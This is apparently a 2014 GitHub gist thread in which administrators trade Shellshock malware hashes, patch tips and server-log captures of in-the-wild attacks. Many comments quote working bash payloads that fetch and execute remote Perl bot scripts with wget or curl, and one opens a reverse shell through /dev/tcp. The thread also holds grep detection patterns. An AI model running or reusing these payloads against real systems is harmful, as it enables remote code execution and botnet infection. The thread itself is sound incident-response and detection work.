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anonymous /gist:929d622f3b36b00c0be1 Secret
Created Sep 25, 2014

Ok, shits real. Its in the wild... src:
$ file nginx
nginx: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.18, stripped
$ md5sum nginx
5924bcc045bb7039f55c6ce29234e29a nginx
$ sha256sum nginx
73b0d95541c84965fa42c3e257bb349957b3be626dec9d55efcc6ebcba6fa489 nginx
Looking at string variables, it appears to be a kernel exploit with a CnC component.
- found by @yinettesys

oh wow... thx Rob


shit, good work



ssilaev commented Sep 25, 2014


w-flo commented Sep 25, 2014

This probably connects to for C&C? Which sends a "PING", and probably expects "PONG!".

absynth commented Sep 25, 2014

Seems to connect to which is a cloudflare IP.

horacio commented Sep 25, 2014

Holy bejesus.


Curl would be better. It comes natively in nearly everything, wget does not.


Analysis of the ELF dropped I wrote in VT: < see comment part. I open repo of this ELF malware family as Linux/Bash0day :
Thanks Yinettesys! good findings #MalwareMustDie!!

poggs commented Sep 25, 2014

Nice - the following text strings are in the binary:



denartha you should send a note to the author.

itiki commented Sep 25, 2014


rfc1459 commented Sep 25, 2014

If I had to make an uneducated guess, I'd say this thing is a rush job to get a botnet up&running really fast (lack of obfuscation, section headers weren't stripped, and so on)

Jamyn commented Sep 25, 2014

This should be interesting.




Rob a hero!


Thanks Yinette and Rob, et. al.,
For those who made it here and have read the thread and are wondering what they should probably do right now, the best thing would likely be to update and upgrade (for starters).

This is done from your terminal.

Mac / OSX:
brew cleanup
brew update
brew upgrade
(That should do it... you may also wish to try to see what is outdated, with this:)
brew outdated

Debian / Ubuntu: sudo apt-get update && sudo apt-get upgrade
(Once that's done, please check again from your standard software updater tool)

Fedora / CentOS: You may want to read this thing first, maybe



Just saw this user-agent in the wild as well:
() { :;}; echo shellshock-scan > /dev/udp/

muloka commented Sep 25, 2014

@ABISprotocol re: OSX, that won't patch the system's bash. You have to compile bash yourself, follow these instructions if you want:

bmurch commented Sep 25, 2014

Looks like someone is gathering a list:

grep '() { :;}' *

access_log: - - [25/Sep/2014:02:52:27 -0400] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 224 "-" "() { :;}; /bin/ping -c 1"


I created a gist showing how to add a line to your bashrc to identify the presence of the vulnerability. This is useful to me because I work on many different servers with many different administrators, and I sync my bashrc across machines using Git. I would appreciate input!

4dd3r commented Sep 25, 2014

well that escalated qickly!

rdev5 commented Sep 25, 2014

Caught one passing in as User Agent string at 14:34.

Reason: User header "HTTP_USER_AGENT" contains "() { :;}"

IP Address:
Location: Kranj, 52 (Slovenia)
User Agent: () { :;}; wget ''

@nicheath - - [25/Sep/2014:00:36:54 +0000] "GET / HTTP/1.0" 200 346 "() { :; }; ping -c 11" "shellshock-scan (" - - [25/Sep/2014:11:11:00 +0000] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 536 "-" "() { :;}; /bin/ping -c 1" - - [25/Sep/2014:20:17:06 +0000] "GET / HTTP/1.1" 200 327 "() { :; }; /bin/ping -c 1" "() { :; }; /bin/ping -c 1"

Surely someone could come up with a creative script to run in place of ping. Maybe tweet the offending scanner IP address with #SHELLSHOCK hashtag.




Found another: - - [25/Sep/2014:12:07:51 +0000] "GET /cgi-bin/hello HTTP/1.0" 404 290 "-" "() { :;}; /bin/bash -c "wget -O /tmp/klogd""

chridd commented Sep 26, 2014

bmurch: shouldn't that be "grep '() {' *"? The colon doesn't have to be a colon for it to work.

@heyflynn - - [25/Sep/2014:09:44:58 -0500] "GET /cgi-bin/hello HTTP/1.0" 404 494 "-" "() { :;}; /bin/bash -c "cd /tmp;wget;curl -O ; perl /tmp/jur;rm -rf /tmp/jur""

-- this one showed up a couple times on our servers today from netherlands. the source it pulls from has what looks to be a botnet with a worm component.

edit - looks like the removed the exposed file. I have a copy of it, is there anyone in the security community I can send it to? there is some pretty scary looking shit in it. damn perl script has a built in port scanner, bot net tcp/udp flooders and spreader.

realfx commented Sep 26, 2014

it work on android?

rdev5 commented Sep 26, 2014

Can anyone else confirm if this is a suitable intermediary fix whilst we wait for a more permanent fix?


On OS X, I applied all the patches ( and rebuilt bash 4.3 from source after making this change manually to variables.c and it appears to be working. Not able to reproduce the Bash bug vulnerability as such...


Somebody did this that supposedly works for both Mac / OSX and (all?) Linux variants, but test it yourself and have a go:

bacbos commented Sep 26, 2014

Same here, got different requests since yesterday morning: `[26/Sep/2014:09:10:11 +0200] "GET /cgi-bin/ HTTP/1.0" 401 652 "-" "() { :;}; /bin/bash -c "wget -O /var/tmp/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1""``

UAHR commented Sep 26, 2014 also here:
"GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 1052 "-" "() { :;}; /bin/ping -c 1" - - [25/Sep/2014:15:46:35 +0200]

...and this one:
"GET /cgi-bin/his HTTP/1.0" 404 1044 "-" "() { :;}; /bin/bash -c "cd /tmp;curl -O ; perl /tmp/jur;rm -rf /tmp/jur""


A n00b question here:
If the logs show up as 404'd does it mean the UserAgent env were not actually evaluated - i.e. exploit failed ?


@Cherrytreee do you have cgi scripts? If not then you're safe atm.


@ChrisMCMine I don't. Thx!

rdev5 commented Sep 26, 2014

More in the wild, though it looks like one of those "Is your site affected?" website scanners like (if not for the remote file fetching). In this case, I wonder if it's necessarily a good idea for people to be creating "Check your website" online testers since it provides a proxy option for people with more malicious intent.

IP Address:
Location: Atlanta, GA 30303


User Agent: () { :;}; /bin/bash -c "wget -O /var/tmp/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1"
User Agent: () { :;}; /bin/bash -c "wget -O /var/tmp/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1"
User Agent: () { :;}; /bin/bash -c "wget -O /var/tmp/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1"
User Agent: () { :;}; /bin/bash -c "wget -O /var/tmp/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1"
User Agent: () { :;}; /bin/bash -c "wget -O /var/tmp/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1"

Timestamp: 9/26/2014 8:39:45 AM
ingie commented Sep 26, 2014

[25/Sep/2014:11:10:43 +0100] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 403 296 "-" "() { :;}; /bin/ping -c 1"

Neo23x0 commented Sep 27, 2014

I created a regex that matches the different attacks. (egrep compatible v4)




just discovered a new one in our server logs..

X.X.X.X - - [27/Sep/2014:06:18:02 +0200] "GET /de HTTP/1.0" 200 36399 "-" "() { :;}; /bin/bash -c \x22wget -q -O /dev/null\x22""


"() { :;}; /bin/bash -c "wget --delete-after\"

addbook commented Sep 29, 2014


Found this: "() { :;}; /bin/bash -c '/bin/bash -i >& /dev/tcp/ 0>&1'"


and another one bites the dust.. - - [30/Sep/2014:00:13:28 +0200] "GET /de/cgi-mod/index.cgi HTTP/1.1" 404 315 "() { :; }; /bin/bash -c '/usr/bin/wget >> /dev/null'" "() { :; }; /bin/bash -c '/usr/bin/wget >> /dev/null'"

Vic020 commented Oct 1, 2014


@clontarfx - - [28/Sep/2014:13:01:55 +0800] "GET / HTTP/1.0" 200 364 "-" "() { :;}; /bin/bash -c "wget -O /tmp/sh;curl -o /tmp/sh;sh /tmp/sh;rm -rf /tmp/sh""

Seems fairly straight-forward.

tarzand commented Oct 27, 2014



it work on android?



thats fine

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